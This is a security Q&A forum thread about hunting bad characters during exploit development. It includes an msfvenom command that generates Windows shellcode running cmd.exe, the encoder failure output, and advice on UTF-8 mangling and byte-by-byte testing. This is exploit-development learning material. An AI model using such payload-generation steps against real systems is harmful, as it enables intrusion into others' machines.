1

I am facing problem in finding bad characters because the hex codes are being replaced with \x3F & some other codes.

enter image description here

Here I have all the 256 hex chars from \x01 to \xFF and as you can see many of the hex char is being replaced with \x3F and other chars and hence I am not able to figure out the bad chars.

I tried to figure out the bad chars & the chars which are being replaced, which are:

\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe

Then I used msfvenom to generate the shellcode but getting below result.

$msfvenom -a x86 --platform windows -p windows/exec cmd=cmd.exe -b '\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe' -f c
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=84, char=0x0d)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=15, char=0x85)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
Error: Bad character found in stub for the Dynamic key XOR Encoder encoder.
1

The input string is probably decoded as UTF-8 string. The '?' appears because the encoding is invalid. The easiest way to preserve the shellcode is probably use an ASCII encoder, since UTF-8 is backward compatible with ASCII.

  • Hey, the issue was there because I was creating the shellcode on my linux vm and then I was copying it to windows7 vm to excute it. May be the encoding on windows was differerent from linux and some characters were not recognized. When I created the shellcode on the same windows machine it loaded properly in the memory. By the way what encoding differences would be there if we copy some data from linux to windows? – Mukesh Sep 13 at 13:57
  • You need to provide more details to have an answer, e.g. how you load the payload, what's the target, etc. But, basically, if you copy the payload from your Linux (vm) to Windows as hex char (i.e. \xNN\xNN\xNN\xNN...), the encoding won't change. So far, I have the impression the target application decodes your payload as an UTF-8 string. – wisk Sep 16 at 3:24
0

I would try to go with a trial&error approach. Seems the restricted chars are inside the range from 0x80 to 0xa9 with some exclusions. If you're developing an exploit and you haven't got time to figure it out try to suppose these as bad chars and avoid their use with msfvenom encoding.

If you have time, try to use a buffer like 0x41 0x41 0x41 0xbadchar 0x41 ... 0x41 proceeding one by one, in the end, you will figure it out precisely.

Badchars hunting is time-intensive task ... :-|

  • I have tried these approach and figured out that chars: \x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6xa8\xb4\xb8\xbc\xbd\xbe are either bad chars or being replaced with other chars. I use these as a bad char in msfvenon to generate the shellcode but getting no success. – Mukesh Sep 11 at 11:58

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.